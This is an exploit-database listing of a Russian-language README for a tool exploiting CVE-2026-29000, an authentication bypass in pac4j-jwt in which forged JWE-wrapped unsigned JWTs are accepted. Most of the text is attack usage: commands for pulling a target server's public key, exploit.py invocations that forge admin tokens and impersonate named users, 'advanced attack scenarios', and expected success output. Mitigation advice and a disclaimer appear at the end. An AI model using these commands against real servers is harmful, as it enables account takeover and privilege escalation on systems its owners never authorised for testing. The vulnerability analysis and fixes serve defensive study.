Sploitus

Exploit for cve-2026-29000 CVE-2026-29000

kitploit · 2026-08-27

Exploit Code

MARKDOWN390 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ROOTX111-CVE-2026-29000
# Эксплойт CVE-2026-29000

**Обход аутентификации JWT в pac4j-jwt через JWE-обёрнутый PlainJWT**

## Описание уязвимости

CVE-2026-29000 — это критическая уязвимость обхода аутентификации, затрагивающая pac4j-jwt версий ниже 4.5.9, 5.7.9 и 6.3.3. Уязвимость позволяет удалённым злоумышленникам подделывать токены аутентификации и обходить проверку подписи.

### Технические детали

Уязвимость существует в компоненте `JwtAuthenticator` при обработке зашифрованных JWT (JWE). Когда получен JWE-токен:

  1. Сервер расшифровывает JWE с помощью своего закрытого ключа RSA
  2. Расшифрованное содержимое раскрывает внутренний JWT
  3. **УЯЗВИМОСТЬ** : Сервер извлекает claims из внутреннего JWT без проверки его подписи
  4. Злоумышленники могут создать JWE, оборачивающий PlainJWT (алгоритм: "none") с произвольными claims



### Требования для атаки

  * Доступ к открытому ключу RSA сервера (часто раскрывается через JWKS-эндпоинт)
  * Возможность отправлять подделанные токены в уязвимое приложение



### Воздействие

  * **Полный обход аутентификации** : Злоумышленники могут аутентифицироваться как любой пользователь
  * **Повышение привилегий** : Можно назначать произвольные роли, включая роли администратора
  * **Перехват сессий** : Можно выдавать себя за легитимных пользователей без учётных данных



### Затронутые версии

  * pac4j-jwt < 4.5.9
  * pac4j-jwt < 5.7.9
  * pac4j-jwt < 6.3.3



## Содержимое репозитория

  * `exploit.py` — скрипт эксплойта на Python для генерации вредоносных токенов
  * `vulnerable_server.py` — демонстрационный сервер, имитирующий уязвимость
  * `requirements.txt` — зависимости Python
  * `README.md` — этот файл



## Установка

### Предварительные требования

  * Python 3.8 или выше
  * Менеджер пакетов pip



### Настройка

root@kitploit:~
    
    
    # Клонировать репозиторий
    git clone https://github.com/RootX111/cve-2026-29000.git
    cd cve-2026-29000
    
    # Установить зависимости
    pip3 install -r requirements.txt
    

## Использование

### Шаг 1: Запуск уязвимого тестового сервера

root@kitploit:~
    
    
    python3 vulnerable_server.py
    

Сервер будет:

  * Генерировать пару ключей RSA (сохраняются в `server_private.pem` и `server_public.pem`)
  * Запускаться на http://127.0.0.1:5000
  * Раскрывать открытый ключ на http://127.0.0.1:5000/public-key



### Шаг 2: Получение открытого ключа цели

В реальном сценарии атаки получите открытый ключ с целевого сервера:

root@kitploit:~
    
    
    # Скачать открытый ключ с JWKS-эндпоинта
    curl http://target-server.com/jwks > target_jwks.json
    
    # Или напрямую с эндпоинта открытого ключа
    curl http://target-server.com/public-key > target_public.pem
    

Для тестового сервера:

root@kitploit:~
    
    
    curl http://127.0.0.1:5000/public-key > server_public.pem
    

### Шаг 3: Генерация вредоносного токена

Используйте скрипт эксплойта для создания JWE-обёрнутого PlainJWT:

root@kitploit:~
    
    
    # Базовое использование — аутентификация как admin
    python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
    
    # Аутентификация как конкретный пользователь с несколькими ролями
    python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
    
    # Добавление пользовательских claims
    python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
      --claims '{"email":"some-email@example.com","department":"IT"}'
    
    # Сохранение токена в файл
    python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
      --output malicious_token.txt
    

### Шаг 4: Тестирование атаки

#### Тест против уязвимого сервера

root@kitploit:~
    
    
    # Установить вредоносный токен (скопировать из вывода exploit.py)
    TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
    
    # Доступ к публичному эндпоинту (должен работать)
    curl http://127.0.0.1:5000/api/public
    
    # Доступ к пользовательскому эндпоинту с вредоносным токеном (ОБХОД!)
    curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
    
    # Доступ к административному эндпоинту с вредоносным токеном (ПОВЫШЕНИЕ ПРИВИЛЕГИЙ!)
    curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
    

Ожидаемый успешный вывод с административного эндпоинта:

root@kitploit:~
    
    
    {
      "status": "success",
      "message": "Admin endpoint accessed - RESTRICTED DATA",
      "user": "admin",
      "roles": ["ROLE_ADMIN"],
      "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
      "admin_info": "This is sensitive administrative data"
    }
    

## Полный рабочий процесс атаки

### Полные команды тестирования

root@kitploit:~
    
    
    # 1. Установить зависимости
    pip3 install -r requirements.txt
    
    # 2. Запустить уязвимый сервер (в терминале 1)
    python3 vulnerable_server.py
    
    # 3. В новом терминале получить открытый ключ
    curl http://127.0.0.1:5000/public-key > server_public.pem
    
    # 4. Сгенерировать вредоносный токен администратора
    python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
    
    # 5. Извлечь токен в переменную
    TOKEN=$(cat token.txt)
    
    # 6. Тест публичного эндпоинта (базовый уровень — аутентификация не требуется)
    curl http://127.0.0.1:5000/api/public
    
    # 7. Тест пользовательского эндпоинта (должен пройти с нашим вредоносным токеном)
    curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
    
    # 8. Тест административного эндпоинта (УСПЕХ ЭКСПЛОЙТА — должен получить доступ к ограниченным данным)
    curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
    
    # 9. Проверить, что ответ содержит флаг
    curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
    

### Продвинутые сценарии атаки

#### Сценарий 1: Выдача себя за конкретного пользователя

root@kitploit:~
    
    
    python3 exploit.py --subject some-email@example.com --roles ROLE_USER --public-key server_public.pem
    

#### Сценарий 2: Повышение до администратора

root@kitploit:~
    
    
    python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
    

#### Сценарий 3: Внедрение пользовательских claims

root@kitploit:~
    
    
    python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
      --claims '{"email":"some-email@example.com","isVerified":true,"permissions":["*"]}'
    

## Параметры скрипта эксплойта

root@kitploit:~
    
    
    usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                      [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
    
    CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens
    
    options:
      -h, --help            show this help message and exit
      --subject SUBJECT, -s SUBJECT
                            Subject (username) to impersonate
      --roles ROLES, -r ROLES
                            Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
      --public-key PUBLIC_KEY, -k PUBLIC_KEY
                            Path to RSA public key PEM file
      --claims CLAIMS, -c CLAIMS
                            Additional claims as JSON string
      --generate-keypair, -g
                            Generate a test RSA keypair and save to files
      --output OUTPUT, -o OUTPUT
                            Output file for the generated token
    

## Как работает уязвимость

### Обычный поток JWT (безопасный)

root@kitploit:~
    
    
    1. Клиент отправляет JWT с подписью
    2. Сервер проверяет подпись открытым ключом
    3. Если подпись действительна, извлекает claims
    4. Предоставляет доступ на основе claims
    

### Уязвимый поток (CVE-2026-29000)

root@kitploit:~
    
    
    1. Злоумышленник получает открытый ключ RSA сервера
    2. Злоумышленник создаёт PlainJWT (alg: none) с произвольными claims
       Пример: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
    3. Злоумышленник шифрует PlainJWT с помощью JWE, используя открытый ключ сервера
    4. Сервер успешно расшифровывает JWE
    5. Сервер извлекает claims из внутреннего PlainJWT БЕЗ проверки подписи
    6. Сервер предоставляет доступ на основе подделанных claims
    

### Почему это работает

Уязвимость возникает из-за того, что:

  * JWE обеспечивает конфиденциальность, но не целостность внутреннего содержимого
  * Сервер предполагает, что успешная расшифровка подразумевает подлинность
  * PlainJWT (alg: none) не имеет подписи для проверки
  * Claims считаются доверенными только потому, что были зашифрованы



## Смягчение последствий

### Для разработчиков

  1. **Обновите pac4j-jwt** до версии 4.5.9, 5.7.9, 6.3.3 или более поздней
  2. **Всегда проверяйте подписи** внутренних JWT после расшифровки JWE
  3. **Отклоняйте PlainJWT** токены (алгоритм: "none")
  4. **Проверяйте алгоритм** в заголовке JWT по белому списку



### Для системных администраторов

  1. Немедленно обновите уязвимые приложения
  2. Проверьте журналы аутентификации на предмет подозрительной активности
  3. Просмотрите пользовательские сессии и отзовите подозрительные токены
  4. Рассмотрите возможность внедрения дополнительных уровней аутентификации



### Безопасная реализация

root@kitploit:~
    
    
    def verify_jwe_token_secure(token, private_key):
        # 1. Расшифровать JWE
        inner_jwt = decrypt_jwe(token, private_key)
    
        # 2. Разобрать заголовок внутреннего JWT
        header = parse_jwt_header(inner_jwt)
    
        # 3. КРИТИЧЕСКИ ВАЖНО: Проверить, что алгоритм не "none"
        if header.get('alg') == 'none':
            raise SecurityError("PlainJWT not allowed")
    
        # 4. КРИТИЧЕСКИ ВАЖНО: Проверить подпись внутреннего JWT
        if not verify_jwt_signature(inner_jwt, public_key):
            raise SecurityError("Invalid JWT signature")
    
        # 5. Извлекать claims только после проверки
        return extract_claims(inner_jwt)
    

## Контрольный список тестирования

  * Установить зависимости: `pip3 install -r requirements.txt`
  * Запустить уязвимый сервер: `python3 vulnerable_server.py`
  * Получить открытый ключ: `curl http://127.0.0.1:5000/public-key > server_public.pem`
  * Сгенерировать вредоносный токен: `python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem`
  * Протестировать публичный эндпоинт: `curl http://127.0.0.1:5000/api/public`
  * Протестировать пользовательский эндпоинт с токеном: `curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user`
  * Протестировать административный эндпоинт с токеном: `curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin`



## Краткое руководство по началу работы

root@kitploit:~
    
    
    # Установка и тестирование одной командой
    pip3 install -r requirements.txt && \
    python3 vulnerable_server.py &
    sleep 2 && \
    curl http://127.0.0.1:5000/public-key > server_public.pem && \
    python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
    TOKEN=$(cat token.txt) && \
    echo "Testing exploit..." && \
    curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
    

## Ссылки

  * Консультация по CVE-2026-29000
  * Консультация по безопасности pac4j
  * OWASP JWT Security Cheat Sheet
  * RFC 7519 (JSON Web Token)
  * RFC 7516 (JSON Web Encryption)



## Отказ от ответственности

Этот инструмент предоставляется только для образовательных целей и санкционированного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Используйте этот инструмент только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.

## Лицензия

Лицензия MIT — только для образовательных целей

## Автор

Исследователь безопасности Дата: 2026-03-16